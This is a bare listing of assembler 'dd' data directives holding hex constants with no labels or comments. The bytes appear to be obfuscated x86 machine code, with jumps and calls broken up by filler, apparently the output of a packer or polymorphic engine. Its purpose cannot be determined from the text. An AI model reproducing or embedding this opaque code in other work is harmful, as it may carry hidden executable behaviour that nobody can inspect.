dd 0F7817934h, 1EC18417h, 0B866FB8Bh, 0F604225h, 1284h
dd 0CE800h, 98930000h, 3080B518h, 0C6AD3314h, 8A584309h
dd 816661DEh, 0F8AD92E2h, 732AB957h, 0E95F3C53h, 6, 0B1979F30h
dd 0CE9F623h, 72000000h, 4B45593h, 899326F9h, 528E2120h
dd 78DCBA66h, 60C28B5Bh, 0C16DE281h, 0F18B0691h, 5870F61h
dd 66000000h, 1DA2F281h, 0B1F1BF0Fh, 81D08A8Eh, 0E4B3C2D2h
dd 0AB26B933h, 0FB8B4805h, 50FCFC8Ah, 5EF98B52h, 0E681665Fh
dd 810F00FFh, 3, 0FC15E980h, 0C881F08Ah, 6F7C0FC9h, 66CF8B66h
dd 66C64BBEh, 0B70FD38Bh, 0DE8B66C0h, 66D18B66h, 40B1FE8Bh
dd 0FE9h, 798900h, 0A8993585h, 1BDE69B4h, 4F431D26h, 8E8h
dd 8FABE500h, 0F65C21DEh, 0EE9590Fh, 0F5000000h, 0CA082D5Fh
dd 0F31D56ACh, 0F6363B73h, 0CE8B6671h, 3FC28166h, 0C38A609Ah
dd 61C38B66h, 0F5DA80FCh, 1E880Fh, 8A0F0000h, 18h, 12E8h
dd 1CD3F300h, 87CAE560h, 6249DC98h, 5EDF72ABh, 58CF00E3h
dd 9867BE66h, 0BE75BE66h, 4850F60h, 66000000h, 0F52C66BFh
dd 0B70F6061h, 0F8B70FCBh, 6435B861h, 8B0F1922h, 2, 6EBAF98Bh
dd 665A689Ch, 0C38CE181h, 12E9F9h, 97A00000h, 76EA3EC8h
dd 0EAD5962Fh, 9E9E3B5Bh, 13D4BD8Bh, 9E9C18Bh, 96000000h
dd 16CDAFDCh, 9E375955h, 9F5EBE66h, 66F560F9h, 0F61F38Bh
dd 1988h, 14E900h, 5F290000h, 3347BB1h, 5910E73Fh, 0C53C2A4h
dd 0E7B61DEBh, 8B0FB651h, 5, 1B0543BBh, 6021B765h, 0B12651BEh
dd 18D0F6Bh, 0F8000000h, 0CE961h, 0B93A0000h, 0D87023ABh
dd 0B38E267h, 0ACBB2E76h, 521C1BDCh, 5FF38B66h, 6A35B866h
dd 5E8h, 8CB8AB00h, 0F1B1C9E8h, 0DD5805Fh, 0DE8B66F9h
dd 820F3AB3h, 0
dd 9C88BB57h, 605A50DBh, 8DA6EA81h, 6E81448h, 0F6000000h
dd 77CCBC4Ah, 0C18166A0h, 615965D8h, 0C08166F5h, 11E90520h
dd 5F000000h, 6EF7A30Ah, 23A468Dh, 0D09B5A64h, 54794527h
dd 5820Fh, 0F1B80000h, 0E979D4D4h, 10h, 3403FB88h, 0D333920Bh
dd 1B52885Ch, 12889C7Ah, 0DE9FCh, 0EF0D0000h, 0DC014AADh
dd 682BCE00h, 0FCBE79AFh, 9E9h, 42F9A800h, 0C22AD048h
dd 0BB6665A9h, 9BBA615Bh, 0F5578CBDh, 13E9h, 5C17EB00h
dd 0E856912Ch, 29C2AAE3h, 0BC791D54h, 11335805h, 6850Fh
dd 0D7810000h, 3AC8563Fh, 0DE41B866h, 8E9h, 3BBF4900h
dd 91671DA2h, 1A8F0F5Fh, 0F000000h, 1481h, 0FE900h, 0EA780000h
dd 75A2E360h, 92C5BCB9h, 0FB87833Dh, 6E9E0h, 431B0000h
dd 5AF32EEDh, 0BB486EBAh, 0FB8B666Fh, 108A0FF9h, 0E9000000h
dd 0Bh, 0BCB6107Eh, 4BCB5538h, 0F89C3A60h, 57D88166h, 0DE838h
dd 0F0E00000h, 3B755481h, 0DFC5A320h, 5950844Bh, 0CE9h
dd 38420900h, 4911CB6Bh, 0F841678Dh, 0FE9F5ADh, 0CC000000h
dd 0F2358D5h, 37AD0A09h, 68908792h, 0E9F8FF9Ah, 10h, 46E524FBh
dd 3FBFADC2h, 0B49C66C3h, 0D8B6A48Dh, 0DE9h, 0CBD6C500h
dd 55E1EC52h, 97E517CAh, 13E9EDB7h, 77000000h, 6BC8DAB2h
dd 33948E3Bh, 1E8942Dh, 0EB93C8D2h, 0BF0FC26Ah, 8BD88BD0h
dd 0CEBF0FFEh, 8AC2BF0Fh, 5890FECh, 0B8000000h, 20168396h
dd 0D840Fh, 8E90000h, 0DA000000h, 2420660Fh, 52D9BE68h
dd 5ECE8B66h, 60CBBF0Fh, 10E8F98Bh, 92000000h, 260AC873h
dd 0ED4B762Eh, 2EFC7306h, 5E129DECh, 64F78161h, 66206AD2h
dd 800FD78Bh, 6, 1D44CF81h, 56BA3652h, 0E80ACD88h, 0Eh
dd 0E7B13378h, 0AC2C6962h, 98037F50h, 0BA66D268h, 0B15BB1F3h
dd 5FEE8109h, 8A2A8CC0h, 0AE860ECh, 12000000h, 7A59F0Eh
dd 0F77213CFh, 7E947h, 0AFA30000h, 6296A28Ah, 8B665F82h
dd 0FCBA61D6h, 6047C9D4h, 0E7D08166h, 0DA8B618Ah, 0C6F08166h
dd 0B2BF6627h, 10810F7Eh, 0E8000000h, 8, 0C082F08Bh, 0B7341FAEh
dd 0F5BC38Bh, 381h, 0F18B6600h, 6245CA81h, 880F07D1h, 14h
dd 0CFB70F60h, 0AE9h, 326D1600h, 0BDE184BAh, 61DABFA2h
dd 7E9C38Bh, 0C8000000h, 0D1B24CF3h, 5DB11B05h, 402FD281h
dd 0DAB4220Eh, 7D6406BAh, 0DB9662Eh, 0CA8B66F6h, 0F78B5DB4h
dd 8025CA80h, 0BAB381E9h, 8153D38Bh, 0BE52E7EAh, 0E8F95F52h
dd 13h, 838B1488h, 34FCE1F5h, 22220712h, 0D9B773AFh, 6009EA93h
dd 5E57D18Bh, 0B8665B61h, 0BFBAAB3Eh, 0E814182Fh, 0Ch
dd 9ED7179Ch, 0ADC9AE82h, 0C29B5CB4h, 840Fh, 0B35A0000h
dd 2CE88167h, 6623C8D4h, 81FB8DBFh, 0D3F239C2h, 5870F40h
dd 0BB000000h, 40935CC0h, 0C18BD18Ah, 81F7B70Fh, 0F80A6AEFh
dd 0B810F2Bh, 60000000h, 95EF181h, 0C8806895h, 81666136h
dd 0B7F9F1C9h, 0C881660Ch, 7E86E0Ah, 0E8000000h, 6DE4616Fh
dd 0E857F4C8h, 9, 0E026F4D6h, 1EF9CCDEh, 5E5E5E3Eh, 28D98166h
dd 0F3C281CAh, 8B7F3C50h, 0C810FC8h, 0F000000h, 68Eh, 3AF08100h
dd 53131696h, 71B86660h, 4496BA38h, 5A61659Bh, 5E9h, 14D1300h
dd 0EC8AE97Dh, 1FE6B966h, 8D0FC88Ah, 0
dd 0B800F60h, 0E8000000h, 5, 1FCFCE9h, 61F9589Eh, 10E9h
dd 836BB000h, 0B6A87B15h, 9813DD84h, 4353E798h, 0D78B6665h
dd 66CF8B66h, 0F8EAFBEh, 2083h, 6E800h, 0DE080000h, 34493664h
dd 0FE9h, 25FAB500h, 6D3ED502h, 0AFA788Ah, 0C12E0BF0h
dd 14E95Ah, 0BD770000h, 0C72390E8h, 0AE60FF20h, 0C568D17Fh
dd 0BE0A3076h, 800FCC0Bh, 4, 61616060h, 0BF0FDA8Ah, 7E8CEh
dd 0C8C50000h, 0AFB719DCh, 15F4BEFEh, 0F583F81h, 8Ch, 800F00h
dd 0F8000000h, 2B6BBB66h, 8980B9B9h, 0E981667Dh, 7E937EAh
dd 21000000h, 0F2D6DA28h, 0BE66200Bh, 0B8669A05h, 0B70F3445h
dd 538EB8D7h, 81662FEFh, 0B2EDB2F7h, 0BE932h, 57D70000h
dd 916F9890h, 55937217h, 380CBFB4h, 800F5AB2h, 4, 685ABA66h
dd 816660F9h, 0E86C58C9h, 13h, 0DEEC218Eh, 1F952C20h, 0C4810095h
dd 9FBF4DB9h, 602A726Ch, 8A615B61h, 0D0B70FC2h, 6E956h
dd 626B0000h, 87E1EE05h, 7ED7B85Eh, 0AFB86BD7h, 0F9656B2Eh
dd 12800F50h, 0E8000000h, 0Ch, 5AC8A335h, 2600347h, 0FA95C02h
dd 0E9605A5Fh, 0Ch, 1F5EE37Ch, 392E53E4h, 0E2F80056h, 0B86661FCh
dd 9E90CA7h, 0E7000000h, 0D3C0BDDFh, 0CD55625Bh, 9DB54BB4h
dd 6E8h, 2A655300h, 817CD785h, 5DA833D7h, 8B665E37h, 12E9FEh
dd 646A0000h, 0EEFEDE02h, 1080D584h, 7813BD18h, 0BA6B39CDh
dd 8B66CF8Ah, 12E8FEh, 9AB30000h, 0C5A0ABC8h, 0F5D8BFEh
dd 325DF423h, 85D8EECAh, 0C8E0Fh, 7E90000h, 0CF000000h
dd 0C10C1164h, 665AB7C0h, 8F0FFB8Bh, 1, 12E9F9h, 6B250000h
dd 4D026D26h, 2677229Ah, 1D065F1h, 83BCCFEAh, 0ECC08166h
dd 0FBB866FBh, 830FF5BAh, 2, 0BF0F6160h, 0B70F52D3h, 7E859FFh
dd 0C4000000h, 0AF493370h, 0BE660090h, 6659ACD1h, 6653D78Bh
dd 3047D181h, 11E9605Eh, 0FF000000h, 0B0121F9Ch, 1B0AA7D8h
dd 0A195F6B2h, 0FECFBC3Bh, 82E103BBh, 0E852616Ah, 14h
dd 0C47FFB54h, 1E8E65AFh, 8B7B2E25h, 4886E18h, 0AE2CC30Dh
dd 0BE9h, 0F5ECC600h, 0BF2F5534h, 32A40981h, 0CD805F5Eh
dd 6840FD4h, 81000000h, 0A37DC8E1h, 1085B901h, 8D0F5A5Bh
dd 4, 0CF64B866h, 3C9E781h, 8A0F05FAh, 3, 8146ED80h, 0E9DC89F1h
dd 5820F31h, 60000000h, 61EF8AF9h, 14E8h, 889B7200h, 4C6DE0ABh
dd 0B7BAEE4h, 393204Bh, 9ADBECCCh, 83EFBB60h, 0BA58115Ch
dd 20D9993Bh, 0B2C68B66h, 0D0EA811Ah, 665D5F11h, 8C0FD98Bh
dd 6, 8B8BB160h, 0EE861D9h, 0A2000000h, 5D117713h, 0BF0AB38Dh
dd 68C512B2h, 38F0F79h, 0F000000h, 0F95FDABFh, 0EE8h, 32C05600h
dd 95894E0Fh, 840D57CAh, 5F973122h, 0B4D3BF0Fh, 5E9FDh
dd 0E1C30000h, 0BBA0EEC2h, 31D3F111h, 32176FBAh, 0DFBF0F1Dh
dd 8B66F98Bh, 0F68060D9h, 5870F03h, 66000000h, 70B5E981h
dd 9E961h, 60C00000h, 0BA797319h, 0E81D2BB9h, 5, 0E5D5333Ch
dd 5833B66Dh, 0FE860F9h, 9000000h, 0D91F29EFh, 60ADFD2Bh
dd 0F117660Ch, 8B666404h, 8B0F5FF7h, 2, 6061DA8Bh, 3810Fh
dd 0D3800000h, 9E94Fh, 0CBF0000h, 0D930FB37h, 6171E2F6h
dd 8E8h, 5F4F2100h, 33005787h, 5BC68B59h, 830FE7B5h, 6
dd 49D4C781h, 8E0F3E1Dh, 8, 0FBBF0F60h, 61D0BF0Fh, 0BEF88B66h
dd 79E6D23Fh, 8E950h, 20460000h, 30E42EC4h, 0F581708h
dd 198Dh, 0DE800h, 988C0000h, 471AB9EBh, 186A7943h, 0FC81737h
dd 8Dh, 8D0F5E00h, 4, 58E4B050h, 9E950h, 0D77F0000h, 0B40E39B6h
dd 5FF3CFE7h, 8FC9C781h, 0BB6673E3h, 0FE8C638h, 23000000h
dd 6B243111h, 8130D387h, 64116C94h, 0E856BB23h, 0Dh, 0F1C0AB28h
dd 0F35CBFFh, 263FBC8Bh, 585E5A09h, 14E9h, 0DF173400h
dd 29FA616Dh, 49E44D7Ch, 811541FAh, 88381987h, 0FBB70FBEh
dd 0C71DC281h, 8C0F72BBh, 5, 1463DCB9h, 8166536Ah, 5B4D2BC7h
dd 0FD78B60h, 28Ah, 61C38B00h, 3FC5EA81h, 80600209h, 3B83DE8h
dd 613925BCh, 3830Fh, 8B660000h, 3DA3BACAh, 8B6673FAh
dd 66D3B0F7h, 11E9F38Bh, 5B000000h, 0CE8949F5h, 0F359C912h
dd 0BE89590Fh, 5B1AA508h, 0E9C9B70Fh, 0Fh, 1224D225h, 79D4B3D7h
dd 692AF1A5h, 57FB2324h, 66B5B059h, 748DE881h, 5AD28166h
dd 12E917h, 0B02C0000h, 0EC9401D2h, 4CC4CEE3h, 84C9A72Dh
dd 51ACDBAEh, 128B0Fh, 0E9600000h, 9, 36B4CF52h, 0E23D2B99h
dd 61D68B26h, 0B39BC281h, 0FB8B167Fh, 14E9h, 0A63A2200h
dd 52496C0Ch, 721CA512h, 0A00E6D7Ah, 0A4EAD44Eh, 0E7E58065h
dd 5E9F5h, 51EB0000h, 50B71D72h, 39DEBDB9h, 0AE95E09h
dd 32000000h, 4570C662h, 6E3EE4DCh, 66605716h, 677DD281h
dd 14E8h, 51D09500h, 0CEEC3169h, 2BFE659Fh, 40DE0CB8h
dd 530F0D18h, 5B61592Bh, 8B665360h, 0F9615EF2h, 5880Fh
dd 52B90000h, 812099A7h, 401CB9D9h, 10E95Eh, 47CF0000h
dd 9E1995FEh, 0EC472DECh, 0BF49A384h, 5BB9A23Bh, 0E92D0758h
dd 9, 0D151686Dh, 1BC1C92Ah, 7E8C3h, 0C3B90000h, 736A0238h
dd 61605100h, 0E8FC585Ah, 0Ah, 7AFB655h, 0F738BEB9h, 13E83AEDh
dd 18000000h, 0B20A4CCBh, 4BD9FF8Fh, 5ED8012Eh, 0F65BF7E6h
dd 0B70F6E8Ch, 0E95F5AC3h, 0Eh, 0AB22069Ah, 5BAD66B2h
dd 561795F4h, 6B32226h, 3880FF9h, 80000000h, 5660E5D4h
dd 0EE8h, 2D838300h, 5A0556A4h, 8061B3D2h, 5AA3752Ch, 0F861F95Bh
dd 4810Fh, 0BB660000h, 0E957A09Ah, 14h, 0F83AB423h, 98767DFCh
dd 4E452AA5h, 0CCC2327h, 0C4FC91B2h, 0BA66515Eh, 0E95B9A60h
dd 13h, 6509D07Dh, 424536B8h, 0F70DF09Ch, 34D4C028h, 0F5405E2Ah
dd 6D6001B8h, 0FC68B7Ah, 686h, 0F7CF8100h, 0E826B002h
dd 0Fh, 0DD9FB605h, 17021F8Ch, 0D3AA5AEDh, 6654AA65h, 0F859D88Bh
dd 2810Fh, 0D98A0000h, 96C08052h, 0CABF0F5Eh, 0CF81F960h
dd 201C1B11h, 0EE961h, 35CF0000h, 556FBC5Bh, 0EC6D80A8h
dd 44828CEAh, 0AE9h, 6803B00h, 6D18A068h, 81A29CB4h, 5E5EFFCFh
dd 0CFACB934h, 11E90FDFh, 8A000000h, 859856C1h, 0E0AF595Dh
dd 0B7B84CC1h, 510DD204h, 8E0FCE8Bh, 16h, 11E9h, 0E45EA600h
dd 0F657DD60h, 64C426A0h, 459B75B4h, 816667D5h, 577784E2h
dd 0F381665Bh, 9E9DFC2h, 74000000h, 665657BDh, 2C8E2309h
dd 34EE8166h, 0C0EFB916h, 58520F17h, 8ACE8B66h, 0C78B66EBh
dd 0C88B5350h, 0F1B55F58h, 4860Fh, 0B8660000h, 8C0FA0BBh
dd 2, 0BE8CB8Ah, 21000000h, 1C6F2DE4h, 0C702EF3Ch, 870F29E9h
dd 6, 0E293C881h, 0F5A2E66h, 38Eh, 0F6BF0F00h, 0DA8B6660h
dd 0EE861h, 0D6F10000h, 25D445Fh, 5169B1DDh, 0D2AA53E0h
dd 0F0B45BF5h, 14E9h, 0F10A8500h, 3CF64B81h, 9E612909h
dd 7C44A0E4h, 9189E25Eh, 0FE829h, 0C3EB0000h, 0AA99C772h
dd 8BD20210h, 0F8E68911h, 0AE998h, 0C7260000h, 9F17F40Dh
dd 454BAE74h, 12E9F85Fh, 42000000h, 0EFCE7C54h
dd 10EA88A4h, 3DC087C2h, 0EDB0CDF9h, 0E1CF81CDh, 0F1559A7h
dd 687h, 0BA665200h, 0E959093Dh, 12h, 0B75D83F3h, 0F81B4893h
dd 62702DF7h, 0C649E80Ch, 8166A26Dh, 602B29E9h, 13E8h
dd 0F5DFAF00h, 0EFC57325h, 0ABEFB35h, 443C43DCh, 70BFD858h
dd 13E85Bh, 0FA4E0000h, 0FBC2BC00h, 0EDDF979Dh, 68E5CE52h
dd 0E451A599h, 0C6BF0F5Dh, 6E86158h, 0B3000000h, 0B21E254Eh
dd 5AD6B23Bh, 0BB3EF81h, 0B70F250Eh, 890F60CFh, 18h, 12E8h
dd 2A62AE00h, 0F8B8B7FCh, 0B684916Ah, 0A40A1678h, 5F95B005h
dd 0F639CB81h, 0F961222Fh, 8A0F8AB5h, 0
dd 66D18B66h, 7FB5D68Bh, 13E8h, 86FF5600h, 630F9D23h, 0BF5C380Dh
dd 55A615D4h, 0D921A529h, 58E1C881h, 0F5A2A0Bh, 382h, 0FB8B6600h
dd 6E922B5h, 3B000000h, 4A602DCh, 18A0F93h, 0F5000000h
dd 66CA8B66h, 0BFBCB3B8h, 0A8E305Eh, 58E0Fh, 0CABA0000h
dd 6610456Ah, 0F5561BFh, 840FD1BFh, 4, 54A1BE66h, 0B14DBF53h
dd 56596362h, 5E9h, 0A351AA00h, 0E858BE04h, 14h, 0B422D9F4h
dd 1F889FFBh, 0EBFE256Eh, 72F3C6F7h, 7366A97h, 5FDE8B66h
dd 3870Fh, 0B70F0000h, 0AE8C3h, 495D0000h, 0CDDBD521h
dd 1621D88Ah, 9E9h, 0AE441A00h, 313BC49Bh, 665A0F2Eh, 0F3CFF781h
dd 0B937CC80h, 6D981425h, 9E8h, 7A634600h, 5E53D14h, 0E181FCD7h
dd 47A398D1h, 10860F5Ah, 0E9000000h, 0Bh, 0BACC11A4h, 0AAF24F9Eh
dd 60D05CBBh, 12E8h, 2B3F9700h, 223265ABh, 0A4B08EDFh
dd 0D741ACABh, 80A14C98h, 6158BECCh, 18B0F60h, 0F8000000h
dd 61F08B66h, 58C0Fh, 81660000h, 6050FFF6h, 8E8h, 8BBE8A00h
dd 0FB5EE79Dh, 5689B809h, 0F5F3430h, 6661F7B7h, 0D18AD88Bh
dd 0B70FD18Bh, 0FEB70FC3h, 8E8h, 71CDA000h, 0CC12E310h
dd 59BDB56Dh, 0FC6B70Fh, 385h, 1EC48000h, 9BBFEE81h, 0CE8042BDh
dd 0AE8BDh, 86F60000h, 44B2B1A4h, 101F6A86h, 5840Fh, 0D6BF0000h
dd 5A2469FAh, 0C18B9DB2h, 6E9h, 1ECEDD00h, 0F91F8E5h, 800FD1BFh
dd 2, 0BF0F5F57h, 138A0FC9h, 0E8000000h, 9, 16DC8F19h
dd 0FBA950A6h, 2BA66B2h, 0E5805860h, 66F3B51Fh, 2A61DF81h
dd 14E9h, 88EC8B00h, 33B68142h, 640F4837h, 1D911551h, 8290E14h
dd 3CB7F926h, 10E9h, 9907CF00h, 0A9C3386Ah, 7C3F52A4h
dd 9FBB0B8Bh, 0C8816648h, 0B70F2531h, 12E9F2h, 83DF0000h
dd 420D9DE9h, 22275794h, 6F953C02h, 0C45185D4h, 9E8h, 10CB5C00h
dd 45245BBDh, 8B660A98h, 830F5BF7h, 6, 850Fh, 0F530000h
dd 587h, 0A149BB00h, 0E95E6A53h, 11h, 80A221Fh, 4817B7F1h
dd 9241C16Fh, 518C821h, 802EBAECh, 0B70F1E25h, 0E28166CBh
dd 0F56CDB7h, 583h, 0C6816600h, 0F598F75h, 8166C6BFh, 667671EBh
dd 6657DE8Bh, 58CA7CBBh, 120DDEB9h, 8E962h, 0C5E00000h
dd 40045D3Eh, 0BA666BCEh, 0FABB8D09h, 0E90E5C6Ah, 10h
dd 799797C5h, 0C0E7AF96h, 826DA65Dh, 39468A1Bh, 9E9h, 21C61500h
dd 25DA2134h, 5F57D7A2h, 8E9h, 5B23C400h, 0BAB11C52h, 0BE665781h
dd 0F593A0Bh, 0D88AF2BFh, 3DD98166h, 0CE8B66F8h, 850FD38Bh
dd 8, 33F78156h, 5F6BC4C1h, 4BB86656h, 0C981585Ch, 54B68408h
dd 88E0Fh, 840F0000h, 2, 8B665E51h, 0C8B70FC1h, 66F0C480h
dd 0C25BC881h, 40B9B852h, 605E069Fh, 0EE9h, 514B3A00h
dd 0F9CDB8D2h, 0F314ABDh, 0FF3F857h, 1786h, 12E900h, 589E0000h
dd 4B25BD22h, 2F8A1AAAh, 0E39123DAh, 9276575Dh, 6E961h
dd 0EC360000h, 8A147985h, 6041E980h, 87D8B966h, 0C3816661h
dd 0A2BB28A4h, 0E90067AEh, 5, 0AC56BDEDh, 9E842h, 4BC70000h
dd 3D78630Ch, 666134E1h, 605AD68Bh, 39973FBAh, 0A4BE663Ah
dd 0FC5161B9h, 43BFF95Bh, 0F31D5B1h, 585h, 0E8816600h
dd 0E9577A74h, 7, 65F30FADh, 5E12E08Ah, 0E624E981h, 8A0F6760h
dd 4, 5E585651h, 0AE9h, 2D0E5000h, 0AFE64641h, 0F10A437h
dd 148Ch, 0CE800h, 0C14E0000h, 438A0632h, 0D4035B92h, 5A510A49h
dd 0A902B859h, 0BB603384h, 1E2DE00Ch, 28E0Fh, 0C88B0000h
dd 0E6D28061h, 0A6C38160h, 8B0D254Ah, 0EF8161CFh, 9B0BB2Dh
dd 8870FF8h, 51000000h, 880Fh, 665E0000h, 2C76D281h, 832B5BBAh
dd 0FE901h, 1CE50000h, 0CD8681B2h, 0FBBB6707h, 0EBACF5F4h
dd 0D88B667Dh, 0CE9h, 616DDF00h, 4D7C29FAh, 41FA49E4h
dd 3BBF6615h, 7E889h, 1C530000h, 24A1B4E0h, 5B57B31Bh
dd 0C3CCDE81h, 0C38B01ACh, 49D880FCh, 0E837DE80h, 9, 9239E2EEh
dd 286B9709h, 0C38B66F4h, 0B861B85Bh, 8B66006Ah, 8166FCF2h
dd 66D49AF3h, 8B51DA8Bh, 14E958F0h, 17000000h, 9FE96530h
dd 86192DD6h, 80646015h, 5B53FFC9h, 603A64E2h, 8B66F28Bh
dd 0E96061FEh, 6, 0D5397F06h, 0F6041E3h, 80h, 820F00h
dd 61000000h, 14E961h, 64610000h, 630233B3h, 0CA78FA56h
dd 0C6E29D3Ch, 796477F0h, 0C0813A95h, 53E76296h, 0C6BF0F57h
dd 14810F5Fh, 0E8000000h, 8, 0AFDC9694h, 595516CDh, 5F96F081h
dd 52580ADCh, 2F177FBFh, 8B665971h, 8880FCBh, 60000000h
dd 89C1BA66h, 6661FB8Bh, 0E95295B8h, 0Dh, 0C829CEEEh, 857B9010h
dd 0D72ADFDEh, 8A0F60BBh, 5, 0EE68166h, 4840F6Fh, 66000000h
dd 618DA9BFh, 6EDA8166h, 66D38B63h, 850FF98Bh, 3, 66CAB70Fh
dd 0F103EBAh, 8166DBB7h, 0E982CBE8h, 6, 8A5E14EDh, 51FC698Bh
dd 0DAF07CBAh, 0EE8584Bh, 0CC000000h, 0D485A922h, 0F0E1A13Bh
dd 0D87ACF98h, 5A8EB1F1h, 816606B7h, 0F9FFEDAh, 68Bh, 5EA8100h
dd 0E964C296h, 9, 0D76BD4B5h, 0B41C6792h, 0F1BF0F0Dh, 61BA6660h
dd 2955BB1Dh, 66617BBEh, 0F6EEF781h, 14E8h, 681A8000h
dd 0B3890444h, 0B5F7F046h, 0B31A0DE5h, 6832FB29h, 5E95B2Ch
dd 0FB000000h, 0DD61067Bh, 11E9h, 47771900h, 9367AF16h
dd 0DBD0BFF8h, 0CCA76ABEh, 830F2B70h, 5, 49E18166h, 8166F5EEh
dd 0E86C69D8h, 0Ah, 8914963Ch, 9EFE0E23h, 0BA66016Bh, 81599315h
dd 4CED51F6h, 8B21B205h, 0DE8C2h, 7FC20000h, 0B2252A85h
dd 9A837A10h, 52116A78h, 8C0F5B5Eh, 17h, 0DE8h, 0C92B5500h
dd 0F9395BE0h, 0C99C7101h, 0BA667FF3h, 815F3AACh, 0EAF48E0h
dd 34BB6611h, 0ECFFB89Ch, 890F75E0h, 6, 7E2FF781h, 0D3811EF9h
dd 4EB43CA3h, 5840Fh, 9FBA0000h, 60035839h, 8166F5B1h
dd 618A30EBh, 19800F60h, 0E9000000h, 14h, 0C54FE734h, 431CA4C3h
dd 91199EFCh, 83C90C99h, 0EA2B20B3h, 0E961D18Bh, 5, 0E6040BF6h
dd 850F600Dh, 3, 0E9F78B66h, 9, 0F541DAC5h, 5DA0D377h
dd 8A0F61C6h, 3, 0FCF18B66h, 0FD1B70Fh, 287h, 52FB8B00h
dd 9E9h, 0A965F000h, 6D57AA66h, 665B3EA9h, 0D78BCF8Bh
dd 9E960h, 8F30000h, 6224A240h, 0FDA7DB8h, 1982h, 14E900h
dd 4320000h, 1BE13AEFh, 0BBFB2023h, 3529052Fh, 54B1EE95h
dd 0E961C565h, 0Eh, 301B00AFh, 8F58E1B9h, 86170525h, 0BF66F40Bh
dd 50534759h, 18E6BF66h, 66575E5Bh, 113BE881h, 38A0F5Ah
dd 0F000000h, 12E9F2B7h, 0E5000000h, 93221E95h, 966BB505h
dd 0E580F0F9h, 6CE6052Ah, 0AE94Bh, 710A0000h, 414788D7h
dd 4B1D9ED8h, 0CE8h, 0B4053000h, 9149ED74h, 68747169h
dd 0D0F7812Eh, 595D5F01h, 0E8D08B66h, 14h, 110D128Ah, 0B7547Bh
dd 0B785CA53h, 0FFD56DCBh, 53BA7BCFh, 665FE38Ah, 0D48AC88Bh
dd 1A8E0Fh, 12E80000h, 0FD000000h, 89226C6Fh, 0F224B2D1h
dd 0BCBA7AA1h, 4FA7035Ch, 5A595385h, 0BE9h, 32B53200h
dd 4BFA1BD2h, 9AFB91h, 0DFBF0F60h, 61F28B66h, 1A11D681h
dd 0C38103BDh, 713BB1DBh, 0DE9h, 725AA500h, 7769AF18h
dd 8BC15997h, 8B666E9Eh, 48F0FD6h, 66000000h, 0B0EFCEBEh
dd 0FD52B92Dh, 0F6051E2h, 38Ah, 0DA8B6600h, 0EFC755BAh
dd 800F6105h, 3, 0E968F280h, 14h, 53CF4716h, 0CCBAAAEBh
dd 0D197BF95h, 921481B0h, 4AB1CC16h, 0BA66F38Ah, 0F2B75204h
dd 13E8h, 5396B500h, 0F3A82E80h, 799249ACh, 60C4E2FBh
dd 0CCE004FDh, 0B6C18166h, 80605F9Ah, 0CB8A7DC1h, 0EEC88161h
dd 667EA2A9h, 1573EA81h, 6DFAC181h, 0DE810B6h, 36000000h
dd 71C47955h, 42C22D49h, 7516AD03h, 6840Fh, 8F0F0000h
dd 0
dd 0BF0FF85Fh, 860FD6h, 66000000h, 668F12BEh, 8160DF8Bh
dd 9AC07EE9h, 0B70F607Ah, 0E28166C7h, 6161AE75h, 9E860h
dd 41940000h, 0CB95C06Fh, 0FF67B0Bh, 83h, 85BE5800h, 614E6794h
dd 514FBB66h, 9E9h, 6925EB00h, 43A7078Dh, 56FC4C19h, 0CE8h
dd 0E7433500h, 0C8EEFA94h, 0E06E60BFh, 5F58F896h, 68B0F60h
dd 0F000000h, 83h, 80F86000h, 61613DDEh, 8E8h, 0F4C9B700h
dd 0E469EA73h, 0C0B70FF5h, 0CAB16058h, 0B8605061h, 2620F261h
dd 5961E28Ah, 0B4D98B66h, 0DBB70FE3h, 964B966h, 10E971B0h
dd 0FF000000h, 19828B35h, 7E2B44ADh, 351AD7C3h, 802E3438h
dd 0E8F500F0h, 11h, 999D9D79h, 0F7161FC0h, 0FE2BC48Bh
dd 3CC1B091h, 0C9816642h, 605FB984h, 870F50h, 5B000000h
dd 6800Fh, 0E8810000h, 63A9BB13h, 0A4D58061h, 0B5DE8B66h
dd 0C9BF0F65h, 12E8h, 34809900h, 4577D7F6h, 77DD4009h
dd 3D8671ABh, 66BA2C6Fh, 5BA238BFh, 5026C180h, 5FFFD080h
dd 8C6AE881h, 0EE81FEFh, 17000000h, 0E8F2F51Ah, 5EC5C0BFh
dd 28DFAC49h, 55CD8078h, 4870F5Fh, 60000000h, 52616160h
dd 62BCD381h, 0B85E5735h, 189AE22Fh, 9DCA8166h, 0E2CD805Dh
dd 5E8h, 0EC24D400h, 8A0F3653h, 12h, 0DE9h, 0AA89CD00h
dd 7AF4CAA0h, 2A52719Fh, 6059DB4Ch, 0DE8h, 6D862100h, 735DE762h
dd 128B25FDh, 0B35BE644h, 78B261C5h, 0DF8B6060h, 8161E2B4h
dd 885D87E7h, 0CF81617Ch, 4A21220Eh, 5E9h, 0EFBE8600h
dd 0B70FCB54h, 7E8F2h, 0E6590000h, 0B3EA7D08h, 2880FF9h
dd 8B000000h, 8F0F59FBh, 1Bh, 0FE8h, 0CDFA8D00h, 3B65CAB3h
dd 0F2D74BB0h, 0EAB1EC02h, 880Fh, 665F0000h, 0DD2CF381h
dd 0D08AF18Bh, 66DCB1FCh, 0E9CF40B8h, 0Ah, 0CC864EE2h
dd 0D5941881h, 0F38B11D0h, 0D207EDBFh, 0DE875h, 0EDF70000h
dd 2D25E73Ah, 0FB275666h, 808E5F40h, 0B85963C6h, 6AB5BAE3h
dd 2D57DE81h, 0FE8B024Eh, 0FECC480h, 8166D8BFh, 0FE4DDDAh
dd 5156C8B7h, 13E9h, 6B99F600h, 869CF85Ah, 0BB1EAC72h
dd 84172320h, 1BD5E16Ch, 11E95E5Eh, 0A3000000h, 388A2DC1h
dd 0F947AE3h, 0D816C6F0h, 0BB9ECE5Dh, 2890Fh, 0BCB40000h
dd 7293B966h, 8B9F5F9h, 0BA11F8E7h, 33B7DE7Eh, 32DA58BAh
dd 66A6B76Eh, 0F5F94BEh, 118Eh, 0CE900h, 13CF0000h, 9647F772h
dd 190D2AFDh, 8D0FE1A6h, 17h, 0EE8h, 0E5E19C00h, 6C06AF1h
dd 0DE181BA8h, 0FCBAEF4h, 0F5AC8B7h, 38Fh, 5BFC5300h, 861E61B8h
dd 66C78B08h, 80BBD68Bh, 5249608Ch, 0F55EF78Bh, 11E9h
dd 0E3A7E700h, 0DBA1B51Bh, 75D07939h, 4D47346Fh, 850F238Dh
dd 6, 8A0Fh, 66FC0000h, 0DF6AE981h, 9E9h, 51A93600h, 826A2BA0h
dd 8B66AA82h, 6880FF9h, 81000000h, 84B648EEh, 0F781667Ah
